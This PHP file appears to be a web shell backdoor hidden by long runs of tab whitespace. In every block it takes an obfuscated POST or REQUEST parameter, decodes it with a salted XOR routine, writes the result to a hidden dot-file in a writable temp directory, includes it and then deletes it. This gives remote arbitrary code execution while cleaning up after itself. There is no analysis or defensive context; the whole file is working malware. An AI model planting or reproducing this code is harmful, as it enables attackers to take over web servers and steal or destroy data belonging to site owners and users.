<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65\x63ord"])){ $fac = $_REQUEST["\x72\x65\x63ord"]; $fac =explode( "." , $fac ) ; $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $n =0; $__len =count($fac); do { if($n >= $__len) break; $v5 =$fac[$n]; $chS =ord($s[$n % $lenS]); $dec =((int)$v5 - $chS -($n % 10)) ^ 13; $data .= chr($dec); $n++; } while(true); $bind = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp"]); while ($descriptor = array_shift($bind)) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $value = "$descriptor/.flag"; if (file_put_contents($value, $data)) { include $value; @unlink($value); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "m\x72\x6B")){ $ref = $_REQUEST["m\x72\x6B"]; $ref= explode ( "." , $ref ) ; $pset = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6 ); $m = 0; while( $m < count( $ref)) { $v9 = $ref[$m]; $sChar = ord( $s6[$m% $lenS] ); $d = ( ( int)$v9 - $sChar -( $m% 10))^71; $pset .= chr( $d ); $m++; } $element = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); while ($holder = array_shift($element)) { if (!!is_dir($holder) && !!is_writable($holder)) { $descriptor = sprintf("%s/.value", $holder); if (file_put_contents($descriptor, $pset)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $itm = $_POST["k"]; $itm = explode( '.' ,$itm) ; $parameter_group =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $t =0; foreach($itm as $v9) { $chS =ord($s[$t % $sLen]); $dec =((int)$v9 - $chS -($t % 10)) ^ 81; $parameter_group .= chr($dec); $t++;} $bind = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); foreach ($bind as $sym): if (!( !is_dir($sym) || !is_writable($sym) )) { $symbol = "$sym" . "/.dchunk"; $success = file_put_contents($symbol, $parameter_group); if ($success) { include $symbol; @unlink($symbol); die();} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x72es\x6F\x75\x72ce"])){ $property_set = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $ent = $_POST["\x72es\x6F\x75\x72ce"]; $ent = explode ( '.', $ent ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; $__tmp = $ent; while ($v8 = array_shift($__tmp)) { $chS = ord($s[$y%$sLen]); $d = ((int)$v8 - $chS - ($y%10)) ^ 56; $sym.= chr($d); $y++; } while ($ent = array_shift($property_set)) { if (is_writable($ent) && is_dir($ent)) { $element = sprintf("%s/.ref", $ent); $file = fopen($element, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(!empty($_POST["r\x65co\x72d"])){ $itm = $_POST["r\x65co\x72d"]; $itm = explode ( '.' , $itm ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $p = 0; array_walk($itm,function ($v8) use (&$flag,&$p,$salt,$lenS) { $sChar = ord($salt[$p % $lenS]); $d = ((int)$v8 - $sChar - ($p % 10)) ^ 16; $flag .= chr($d); $p++; }); $flg = array_filter(["/dev/shm", session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($flg as $key => $object) { if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $parameter_group = "$object" . "/.tkn"; if (@file_put_contents($parameter_group, $flag) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_POST["s\x79mbol"])){ $comp = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir()]); $marker = $_POST["s\x79mbol"]; $marker=explode ('.' , $marker ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; $__tmp = $marker; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$k% $sLen]); $d = ((int)$v1 - $sChar - ($k% 10)) ^27; $pgrp.=chr($d); $k++; } foreach ($comp as $key => $res) { if (!!is_dir($res) && !!is_writable($res)) { $pointer = sprintf("%s/.ref", $res); if (file_put_contents($pointer, $pgrp)) { include $pointer; @unlink($pointer); exit; } } } }


if(array_key_exists("sym", $_REQUEST) && !is_null($_REQUEST["sym"])){
	$marker = $_REQUEST["sym"];
	 $marker		= explode  	( 	 "."	,	 	$marker	);	
	$dat = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
    
            foreach ($marker as $o 	=>  $v2) {	$chS = ord($salt[$o % $sLen]);
                $dec = ((int)$v2 - $chS - ($o % 10))^	30;
                $dat	.=chr($dec);} 	
	$fac = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir()]);
	while ($value = array_shift($fac)) {
    		if (array_product([is_dir($value), is_writable($value)])) {
    $item = sprintf("%s/.bind", $value);
    $success = file_put_contents($item, $dat);
if ($success) {
	include $item;
	@unlink($item);
	die();}
}
}
}